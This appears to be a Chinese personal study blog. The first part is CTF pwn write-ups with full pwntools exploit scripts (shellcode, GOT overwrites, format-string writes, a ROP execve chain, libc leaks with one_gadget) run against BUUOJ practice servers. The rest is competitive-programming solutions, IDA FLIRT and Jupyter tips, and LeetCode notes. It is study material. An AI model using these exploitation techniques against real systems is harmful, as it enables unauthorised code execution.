from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

io = remote('node3.buuoj.cn',29061)
elf = ELF('./PicoCTF_2018_shellcode')
libc = ELF('./libc-2.27.so')

payload = asm(shellcraft.sh())
io.sendline(payload)

io.interactive()

picoctf_2018_got_shell

程序流程

能给任意地址写入四个字节数据,32位。

而且给了后门函数,直接修改puts的got表位win的地址即可。

注意一点:发送数据应该发送的是整数,也就是hex(),而不是p32(),它是字符。

image-20210419145953699

image-20210419150030225

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = process("./PicoCTF_2018_got-shell")
p=remote("node3.buuoj.cn",25946)
elf = ELF("./PicoCTF_2018_got-shell")

puts_got = elf.got['puts']
win = elf.symbols['win']

p.recvuntil("value?")
p.sendline(hex(puts_got))

p.recvuntil("like")
p.sendline(hex(win))

p.interactive()

mrctf2020_easy_equation

一道格式化字符串,,,,不知道为什么用pwntools工具不好使,,,

程序流程

image-20210501231211604

输入字符串,格式化字符串

一个判断,满足判断即可获得shell

1
2
3
for judge in range(200):
if( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198):
print judge
1
2
winter@ubuntu:~/buu$ python equation.py 
2

故只要judge为2即可。

漏洞利用

利用格式化字符串将judge的值变为2即可。

方法:

1
"bb%9$naaa"+p64(judge)

8不是9

8

只发送了0xf个字节,到1的时候就没了,,,后门的并没有发送过去。。

1
2
3
4
5
"bb%8$n"+p64(judge)	=>	将%8$n之前的字节数,也就是2,写入到offse=8的位置,也就是%8$n后面的judge

[DEBUG] Sent 0xf bytes:
00000000 62 62 25 38 24 6e 5c 10 60 00 00 00 00 00 0a │bb%8│$n\·│`···│···│
0000000f

9

发送了12个字节,都发送过去了。

1
2
3
4
5
"bb%9$naaa"+p64(judge)	=>	将%9$n之前的字节数,也就是2,写入到offse=9的位置,因为偏移为8,而judge前面刚好9个字节,一开始就少一个,所以offset=9的位置刚好在前面九个字符之后。

[DEBUG] Sent 0x12 bytes:
00000000 62 62 25 39 24 6e 61 61 61 5c 10 60 00 00 00 00 │bb%9│$naa│a\·`│····│
00000010 00 0a

emmm,字节对齐?

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# for judge in range(200):
# if( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198):
# print judge
from pwn import *

# p = process("./wdb_2018_2nd_easyfmt")
p=process("./mrctf2020_easy_equation")
p=remote("node3.buuoj.cn",28245)
context.log_level = 'debug'
context.arch = 'amd64'

judge = 0x60105C
offset = 7
# payload = fmtstr_payload(offset,{judge:2})
payload = "bb%9$naaa"+p64(judge)
# gdb.attach(p)
p.sendline(payload)
p.interactive()

picoctf_2018_can_you_gets_me

静态文件,用ropchain就行,类似于这道题

1
2
3
4
5
6
7
8
9
10
winter@ubuntu:~/buu$ file PicoCTF_2018_can-you-gets-me 
PicoCTF_2018_can-you-gets-me: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=4141b1e04d2e7f1623a4b8923f0f87779c0827ee, not stripped

winter@ubuntu:~/buu$ checksec PicoCTF_2018_can-you-gets-me
[*] '/home/winter/buu/PicoCTF_2018_can-you-gets-me'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

image-20210506151027760

栈溢出,18个字节

1
ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from struct import pack

# io = process("./PicoCTF_2018_can-you-gets-me")
io = remote("node3.buuoj.cn",26005)
context.log_level = 'debug'
# Padding goes here
p = ''

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

payload = 'a'*(0x18 + 4)+p
io.sendline(payload)
io.interactive()

inndy_echo

格式化字符串

程序流程

有一个循环,格式化字符串漏洞,多次利用

程序中调用了system函数

image-20210506152600364

漏洞利用

  1. 利用格式化字符串修改printf的got为system函数的plt表
  2. 发送‘/bin/sh’即可。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p = process("./echo")
# p=process(['./wdb_2018_2nd_easyfmt'],env={"LD_PRELOAD":"/home/winter/buu/libc-2.23-32.so"})
p=remote("node3.buuoj.cn",26073)
context.log_level = 'debug'
context.arch = 'i386'
elf = ELF("./echo")

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
system_plt = elf.plt['system']
system_got = elf.got['system']

offset = 7
payload = fmtstr_payload(offset,{printf_got:system_plt})
p.sendline(payload)
sleep(0.1)
p.sendline('/bin/sh\x00')
p.interactive()

suctf_2018_basic pwn

最简单的栈溢出

偏移量为0x110

image-20210506154310332

后门函数:/bin/cat

执行该函数能直接打印flag

image-20210506154404324

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
io = remote('node3.buuoj.cn',29307)
elf = ELF('./SUCTF_2018_basic_pwn')
# io = process("./SUCTF_2018_basic_pwn")
libc = ELF('./libc-2.27.so')
door = 0x0000401157

payload = 'a'*(0x110+8)+p64(door)
io.sendline(payload)

io.interactive()

oneshot_tjctf_2016

程序流程是:可以泄漏一个地址,然后可以跳到任意一个地址

image-20210506155959849

方法:泄漏puts的got表地址,计算libc地址,然后跳到one_gadget即可。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# p=process("./oneshot_tjctf_2016")
p=remote("node3.buuoj.cn",27763)
elf=ELF("./oneshot_tjctf_2016")
libc = ELF("./libc-2.23.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = 'debug'
context.arch = 'amd64'

puts_got = elf.got['puts']
p.recvuntil("Read location?")
p.sendline(str(puts_got))
p.recvuntil("Value: 0x")
puts_addr = int(p.recv(16).strip(),16)
log.success(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
# onegadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]
p.recvuntil("Jump location?")
p.sendline(str(onegadget[0]+libc_base))

p.interactive()

cmcc_pwnme1

栈溢出

image-20210506161229152

有后门函数

image-20210506161244074

故得exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# p=process("./pwnme1")
p=remote("node3.buuoj.cn",25575)
elf=ELF("./oneshot_tjctf_2016")
# libc = ELF("./libc-2.23.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = 'debug'
context.arch = 'i386'

get_flag = 0x08048677
p.recvuntil(">> 6. Exit ")
p.sendline(str(5))
p.recvuntil("fruit:")
payload = 'a'*(0xa4+4)+p32(get_flag)
p.sendline(payload)
p.interactive()

image-20210506161308542

但是环境原因,flag在/home/ctf下面的flag或者flag.txt,所以没有拿到flag

常规做法

  1. 泄漏libc地址
  2. 找到system和binsh
  3. 栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

# p=process("./pwnme1")
p=remote("node3.buuoj.cn",25575)
elf=ELF("./pwnme1")
libc = ELF("./libc-2.23-32.so")
# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
context.log_level = 'debug'
context.arch = 'i386'

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
get_fruit = 0x08048624

get_flag = 0x08048677
p.recvuntil(">> 6. Exit ")
p.sendline(str(5))
p.recvuntil("fruit:")
payload = 'a'*(0xa4+4)+p32(puts_plt)+p32(get_fruit)+p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recvuntil("\xf7")[-4:])
log.success(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search("/bin/sh").next()
log.success(hex(system))
log.success(hex(binsh))
# gdb.attach(p)
# pause()

p.recvuntil("fruit:")
payload = 'a'*(0xa4+4)+p32(system)+p32(get_fruit)+p32(binsh)
p.sendline(payload)


p.interactive()

链接:团体程序设计天梯赛-练习集

L1-006 连续因子

序列最长长度

因为n的取值范围:

image-20210319111256733

又因为最长序列为2×3×。。。n,也就是n的阶乘。

计算n的最长序列

发现13!>n最大值,12!<n的最大值,,,,又因为1不算,,,也就是2×3×…13也就是最长为12位。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//
// Created by YCNN on 2021-03-19.
//
#include <iostream>
#include <cmath>
using namespace std;
int main(){
long long ans = 1;
for (int i = 2; i <= 13 ; ++i) {
ans *= i;
}
cout<<ans<<endl;

long long pow2 = pow(2,31);
cout<<pow2<<endl;
return 0;
}
1
2
3
//结果
13!:6227020800
n的最大值:2147483648

思路

枚举所有的

  1. 首先长度最长为12,从12开始减(依次枚举所有长度len的乘积【从2开始,,,】)
  2. 判断能否被n整除,如果可以的话,因为是从最大开始,这次就是最大值。

int取值范围

最大值:2^31-1

所以本次,,,n可以取int,但是ans可能超过int最大值,所以需要long long

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <iostream>
#include <cmath>
using namespace std;
int main() {
int n;
cin>>n;
long long ans;
int max = sqrt(n);
for (int len = 12; len >= 1 ; --len) {//最大长度为12,依次暴力所有的的长度情况
for (int start = 2; start <= max; ++start) {
ans = 1;
for (int i = start; i < start + len; ++i) {
ans *= i;
}
if(n % ans == 0){//如果是合法的
cout<<len<<endl<<start;
for (int j = start+1; j < start+len; ++j) {
cout<<"*"<<j;
}
return 0;
}
}
}
cout<<1<<endl<<n<<endl;//如果是质数,,,因为最大也只是sqrt(n),所以上面出不来结果,,,就手动加上来
return 0;
}

其实是比较简单的题,,,但是上次做的时候,没有时间,紧张,就没有认真看下去,结果,,,校赛就出了一道类似的,苦苦。

L1-007 念数字

涉及字符串,,,使用java比较easy,,,

主要就是用map来存储,输入直接用字符串,,,

java版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package exercise;

import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

public class Ex_7 {
public static void main(String[] args) {
Map<Character,String> hashmap = new HashMap<>();
hashmap.put('0', "ling");
hashmap.put('1', "yi");
hashmap.put('2', "er");
hashmap.put('3', "san");
hashmap.put('4', "si");
hashmap.put('5', "wu");
hashmap.put('6', "liu");
hashmap.put('7', "qi");
hashmap.put('8', "ba");
hashmap.put('9', "jiu");


Scanner scan = new Scanner(System.in);
String s = scan.next();
char[] arr = s.toCharArray();
if(s.length()==1) {
System.out.println(hashmap.get(arr[0]));
return ;
}


if(hashmap.containsKey(arr[0])) {
System.out.print(hashmap.get(arr[0])+" ");
}else {
System.out.print("fu ");
}
String ans="";
for (int i = 1; i < arr.length; i++) {
if(hashmap.containsKey(arr[i])) {
ans += hashmap.get(arr[i])+" ";
}
}
ans = ans.substring(0,ans.length()-1);
System.out.println(ans);

}
}

c++版本

思路总体一样的

但看起来更简洁,,,如果会写的话,,,TAT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//
// Created by YCNN on 2021-03-19.
//

#include <iostream>
#include <map>
using namespace std;
int main() {
map<char,string> mmap;
mmap['-'] = "fu";
mmap['0'] = "ling";
mmap['1'] = "yi";
mmap['2'] = "er";
mmap['3'] = "san";
mmap['4'] = "si";
mmap['5'] = "wu";
mmap['6'] = "liu";
mmap['7'] = "qi";
mmap['8'] = "ba";
mmap['9'] = "jiu";

string s ;
cin>>s;
int i;
for ( i = 0; i < s.length()-1; ++i) {
cout<<mmap[s[i]]<<" ";
}
cout<<mmap[s[i]];

return 0;
}

L1-008 求整数段和

easy

每个数字占5个字符宽度

使用格式化字符串 => 快乐

1
printf("%5d",i);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//
// Created by YCNN on 2021-03-19.
//


#include <iostream>
using namespace std;
int main(){
int a,b;
cin>>a>>b;
int sum = 0;
int len;
for (int i = a,len=1; i <= b ; ++i,len++) {
printf("%5d",i);
sum += i;
if(len % 5 ==0){
cout<<endl;
len = 0;
}
}
if((b-a+1)%5==0){
cout<<"Sum = "<<sum<<endl;
} else{
cout<<"\nSum = "<<sum<<endl;
}

return 0;
}

L1-009 N个数求和

首先计算分数加法公式:

img

然后计算结果分子分母的最大公约数,然后相除,得到最简分数

这里需要考虑的地方:

  1. 分母小于0 => 把符号换到分子上去
  2. 分子小于0,说明为0,为了方便后期的计算,将分母置为0,防止该数的影响

最后,根据能否整除,输出不同的结果。

scanf输入

这里使用scanf输入,,因为知道两个数字中间一定有一个/,可以简化,,,不用特意接受字符’/‘

最大公约数

固定格式:

1
2
3
4
//求最大公约数
int gcd(int a,int b){
return b == 0 ? a : gcd(b,a % b);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <iostream>
using namespace std;
//求最大公约数
int gcd(int a,int b){
return b == 0 ? a : gcd(b,a % b);
}
void beauty(int &a1,int &b1){
if(b1 < 0){
a1 = -a1;
b1 = -b1;
}else if(a1 == 0){
b1 = 1;
}else{
int simple = gcd(abs(a1),abs(b1));
a1 /= simple;
b1 /= simple;
}
}
int main() {
int n;
cin>>n;
int a1,b1,a2,b2;
scanf("%d/%d",&a1,&b1);
for (int i = 0; i < n-1; ++i) {
scanf("%d/%d",&a2,&b2);
a1 = a1 * b2 + a2 * b1;
b1 = b1 * b2;
beauty(a1,b1);
}
beauty(a1,b1);//如果只有一个式子,不会进入循环,,,但是输入可能不是最简的
if(b1 == 1){
cout<<a1<<endl;
}else if(a1 < b1){
cout<<a1<<"/"<<b1<<endl;
}else{
cout<<a1/b1<<" "<<a1 % b1<<"/"<<b1<<endl;
}
return 0;
}

L1-010 比较大小

只是对三个数排序,,,非常简单

sort

头文件

1
#include <algorithm>

使用

1
sort(arr,arr+3);//arr是数组名,3是arr的长度

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//
// Created by YCNN on 2021-03-19.
//

#include <iostream>
#include <algorithm>
using namespace std;
int main() {
int arr[3];
cin>>arr[0]>>arr[1]>>arr[2];
sort(arr,arr+3);
cout<<arr[0]<<"->"<<arr[1]<<"->"<<arr[2]<<endl;

return 0;
}

L1-011 A-B

本来是用eclipse的replace做的,但是超时了,,,555

image-20210319201138492

正确的思路:

遍历第二个字符串,用长度为256(ascii表长度)的数组记录又那些出现过的字符,最后再对第一个字符串遍历,根据数组是否出现过,,,。这里数组的存储的index就是字符串的ascii码【这点比较interesting】

c++输入一行

1
getline(cin,a);

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//
// Created by YCNN on 2021-03-19.
//

#include <iostream>
#include <string>
using namespace std;
int main() {
string a,b;
int mark[256];
getline(cin,a);
getline(cin,b);
for (int i = 0; i < b.length() ; ++i) {
mark[b[i]] = 1;//直接将字符串的ascii码作为数组下表
}
for (int j = 0; j < a.length() ; ++j) {
if(mark[a[j]] == 1){
continue;
}else{
cout<<a[j];
}
}
return 0;
}

L1-012 计算指数

pow(底数,幂次)的结果是double型的,,,,不知道为什么不能强转到int,,,

就输出是f了

1
2
3
4
5
6
7
8
9
10
11
12
13
//
// Created by YCNN on 2021-03-19.
//
#include <iostream>
#include <cmath>
using namespace std;
int main() {
int n;
cin>>n;
printf("2^%d = %.f",n,pow(2,n));

return 0;
}

ida flair

功能:恢复静态编译 去符号 得库函数名

以pwnable.tw得3×17题为例

是静态的

image-20210312123918829

也去了符号表,,,

所以可以用ida flair这个功能

1. 下载sig

sig-database

2. 拷贝

下载文件 => libc6 => 16.04 => amd64 => 选中所有的文件 => 拷贝到ida目录/sig/pc下面

3.加载

在打开文件的ida下选择:file -> load file -> filter signature file => ctrl+f 找到对应的文件即可

image-20210312124712543

4.查看

shift + f5即可查看应用的结果,,,可以看到第一个查到了56个函数,,,

image-20210312125241686

参考

使用IDA flair恢复静态编译去符号的库函数名

后记

虽然这次效果不怎么样,,,,,该识别的main函数等都没有识别出来,,,但是成功了,,,,多加些可能效果更好,,,

输入法

繁体变简体:ctrl + shift + f

jupyter

  • tab:补齐
  • Alt-Enter : 运行本单元,在下面插入一单元
  • Ctrl-Enter : 运行本单元
  • Shift+Enter : 运行本单元,跳到下一单元

  • 蓝色框(命令模式)\ 绿色框(编辑模式)

  • ESC进入命令模式 \ Enter进入编辑模式

  • 命令模式

    • X :剪切
    • C :复制单元格
    • V :粘贴到当前
    • Z :恢复
    • H :查看快捷键
    • B :(below)在当前单元格下创建代码块
    • A :(above)是在上方创建
    • D :(delete)删除当前代码块
    • L :给代码标出行数
    • shift + v :粘贴单元格到上方
  • 命令模式 -> markdown编辑
    • M:编写Markdown语言
  • markdown编辑 -> 命令模式
    • Y :代码单元格

ida

  • 定位地址:g
  • 重命名:n
  • 数据类型切换:d(db => dw => dd)
  • 字符转换:R

创建结构体

  • 跳转到结构体界面:shift + f9
  • 创建结构体:insert + (fn)
  • 创建数据/修改数据所占字节:d
  • 指定数据类型:y => int、short、int*
  • 将某个数据设置为结构体数据:y => 结构体名字

clion

自动对齐:ctrl+alt+l

跟着bilibili视频:Leetcode力扣 1-300题视频讲解合集|手画图解版+代码【持续更新ing】来先简单学习

更新中。。。

1 两数之和

两种方法:暴力法和哈希表

暴力法

直接用常数创建数组

1
return new int[] {i,j};

哈希表

创建

1
Map<Integer,Integer> hashtable = new HashMap<Integer,Integer>();

添加

1
hashtable.put(nums[i],i);

包含某一个键

1
hashtable.containsKey(target - nums[i])

得到值

1
hashtable.containsKey(target - nums[i])

2 两数相加

迭代法

注意点:

  1. 返回链表的指针不能动,,,要创建一个current指针来紧随当前运行的情况cur = res
  2. 最后返回的是res.next,因为一开始的值是空。

递归法

稍微,,,,尤其是最后有点点难理解

主要思路是让两个链表的一直加,如果有个链表没有了,就创建val为0的node。

结束条件:l1.next != null || l2.next != null || next !=0

最后返回的是res

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(l1.next != null || l2.next != null || next !=0) {
if(l1.next!=null) {
l1 = l1.next;
}else {
l1 = new ListNode(0);
}
if(l2.next != null) {
l2 = l2.next;
}else {
l2 = new ListNode(0);
}
l1.val += next;
res.next = addTwoNumbers(l1, l2);
}

还行吧,,,大概的意思就理解。。。。哭哭

20 有效的括号

思路:将字符串通过函数toCharArray()变成数组,然后将左括号入栈,右边进行匹配,失败直接返回,成功继续,,,一直看最后的栈是否空即可。

注意:根据题目已知“”空串返回true,所以一开始可以直接判断字符串长度是否为0。

增强for循环

从字符数组总依次取出字符

1
2
for(char ch : s.toCharArray()) {
}

?:返回

感觉和很有意思

1
return stack.isEmpty()?true:false;

21 合并两个有序链表

有了第二题的铺垫,,,,easy

迭代法

直接链入剩余的链表

1
2
3
if(l1 == null) {
cur.next = l2;
}

赋值的两种方法

1
2
3
4
//1. 创建一个新的node
cur.next = new ListNode(l2.val);
//2.将l2赋值,只有节点,不是链表
cur.next = l2;

递归法

高级,需要好好理解。

递归首先要确认结束条件

接下来结果的链入interesting!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//		if(l1 == null) {
// return l2;
// }
// if(l2 == null) {
// return l1;
// }
if(l1 == null || l2 == null) {
return l1 == null ? l2 : l1;
}
if(l1.val <= l2.val) {
l1.next = mergeTwoLists(l1.next, l2);
return l1;
}else {
l2.next = mergeTwoLists(l1, l2.next);
return l2;
}

22 括号生成

[搁置]暴力法

[搁置]的都稍后来做,,,先学算法吧。。。。

回溯法

emmm,这个是蓝桥杯里经常用的方法,,,,但是这里对有效括号的判断很有意思:

  1. 如果左括号小于n,就可以继续增加左括号
  2. 如果每时刻右括号的数量小于左括号的数量,就是有效的
  3. 当满足上述条件并且括号数量对了的时候,就可以添加进来了。

StringBuilder

创建
1
new StringBuilder()
声明
1
StringBuilder cur;
转String
1
cur.toString()
删除指定位置元素
1
cur.deleteCharAt(cur.length()-1);